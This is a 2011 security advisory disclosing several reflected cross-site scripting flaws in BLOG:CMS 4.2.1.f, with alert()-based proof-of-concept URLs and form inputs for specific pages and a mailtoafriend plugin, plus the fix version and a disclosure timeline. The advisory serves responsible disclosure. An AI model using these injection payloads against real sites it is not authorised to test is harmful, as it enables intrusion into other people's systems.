Advisory: Multiple Cross-Site Scripting vulnerabilities in BLOG:CMS Advisory ID: SSCHADV2011-007 Author: Stefan Schurtz Affected Software: Successfully tested on: version 4.2.1.f Vendor URL: http://www.blogcms.com Vendor Status: resolved CVE-ID: - ========================== Vulnerability Description: ========================== This is a Cross-Site Scripting vulnerability ================== Technical Details: ================== Firefox 3.6.17 http://www.example.com/blogcms/photo/index.php?"<script>alert(0x0029A)</script> http://www.example.com/blogcms/photo/index.php?"<script>alert('XSS');</script> http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt="<script>alert('XSS');</script> http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt="<script>alert(0x0029A)</script> http://www.example.com/blogcms/admin/plugins/mailtoafriend/mailfriend.php >From [email]: <script>alert('XSS');</script> To [email]: <script>alert('XSS');</script> To [name]: <script>alert('XSS');</script> Firefox 4.0.1 / IE8 http://www.example.com/blogcms/photo/index.php?"</script><script>alert('XSS');</script> http://www.example.com/blogcms/photo/index.php?"</script><script>alert(0x0029A)</script> http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt="</script><script>alert('XSS');</script> http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt="</script><script>alert(0x0029A)</script> http://www.example.com/blogcms/admin/plugins/mailtoafriend/mailfriend.php >From [email]: </script><script>alert('XSS');</script> To [email]: </script><script>alert('XSS');</script> To [name]: </script><script>alert('XSS');</script> ========= Solution: ========= Update to the latest version 4.2.1.g ==================== Disclosure Timeline: ==================== 03-Jun-2011 - informed developers 03-Jun-2011 - release date of this security advisory 06-Jun-2011 - new version 4.2.1.g released 07-Jun-2011 - post on BugTraq and Full-disclosure ======== Credits: ======== Vulnerabilities found and advisory written by Stefan Schurtz. =========== References: =========== http://www.blogcms.com http://www.rul3z.de/advisories/SSCHADV2011-007.txt